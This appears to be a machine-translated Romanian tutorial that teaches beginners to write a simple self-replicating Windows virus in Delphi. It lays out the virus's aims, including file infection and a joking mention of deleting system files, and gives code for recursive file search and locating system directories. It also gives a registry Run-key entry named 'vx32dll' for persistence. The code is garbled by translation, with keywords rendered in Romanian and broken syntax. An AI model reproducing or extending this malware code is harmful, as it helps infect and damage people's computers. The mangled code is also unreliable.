Cred că ați auzit deja despre o astfel de direcție pe scena subterană modernă ca și codare VX. VX înseamnă Virus eXchange, ceea ce înseamnă că vx-coderii sunt implicați în scrierea de viruși, viermi și alte "mecanisme de auto-replicare". Iată formularea mecanismului de auto-vindecare (CM) pentru SGWW (Stealth Group World Wide): "Cod executabil capabil de auto-multiplicare. SM sunt singura zonă de programare pură și, spre deosebire de alte programe de calculator, au funcții intelectuale pentru a lupta pentru supraviețuire în condiții dificile de sisteme computerizate conflictuale ". Astăzi vom crea acest "cod executabil" =). Pentru prima dată nu vom intra în polimorfism, în permutarea codului și
etc. și să scrieți un program care să ruleze Windows OC și să combine toate cerințele minime ale celui mai simplu virus, cum ar fi un Hello World :-). În primul rând, să vedem ce vom putea face primul nostru viri:
1. Reproducere inconștientă și rapidă pe o mașină infectată.
2. Infectarea fișierelor de care avem nevoie.
3. O acțiune arbitrară, eventual comică, determinată de creatorul virusului. De exemplu, mesajul de ieșire la un moment dat, însoțit de eliminarea fișierelor de sistem OS 😉 (aceasta este, desigur, o glumă, ștergerea informațiilor nu este bună - amintiți-vă acest lucru 😉
Deci, să începem. Ca mediu de dezvoltare, am ales Delphi, pentru că Codul Pascal ar trebui să fie ușor de înțeles chiar și pentru cei care au puțină înțelegere în programare.
Proiect -> Vizualizare sursă. Aici, ștergeți toate informațiile inutile, pentru a obține următoarele:
program helloworld;
utilizări
ferestre, sysutils, registru;
Acum, în ordine. Pentru a găsi fișierele de care avem nevoie, vom scrie o mică procedură:
procedură Găsiți (d: string);
var
sr: tsearchrec;
st: șir;
începe
dacă findfirst (d + '\ *. *', fadirectory, sr) <> 0 atunci // dacă nu se găsește nimic
findclose (sr) // opri căutarea
altfel // diferit
repetați // continuați până când findnext (sr) <> 0
st: = d + '\' + sr.name; // completați numele fișierului în întregime
dacă sr.attr <> fadirectory apoi // dacă nu este găsit un dosar, ci un fișier
începe
Ce facem cu fisierul?
end else // dacă dosarul
începe
dacă (sr.name <> ')' Și (sr.name <> '..'), apoi // dacă dosarul este în interiorul directorului (dir)
Găsiți (st); // începe căutarea în el
se încheie;
până
findnext (sr) <> 0;
findclose (sr);
se încheie;
Ei bine, acum totul ar trebui să fie clar =).
În procesul de creare a unui virus, avem nevoie de un director unde Windows și directorul de sistem sunt instalate. Le definim în felul următor:
var
wd: array [0..max_path] de char;
sd: array [0..max_path [din char;
începe
getwindowsdirectory (wd, max_path); // în variabila wd scrie calea către directorul unde este localizat Windows
getwindowsdirectory (sd, max_path); // scrieți variabilei sd calea spre directorul de sistem Windows
se încheie;
De asemenea, trebuie să prescrieți autostart (de exemplu, în registru):
var
r: tregistry;
începe
r: = Tregistry.create;
r.RootKey: = HKEY_LOCAL_MACHINE;
dacă r.OpenKey (\ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run ', adevărat)
apoi r.WriteString ('vx32dll', path_to_virus);
se încheie;
Distribuiți acest articol cu prietenii dvs.: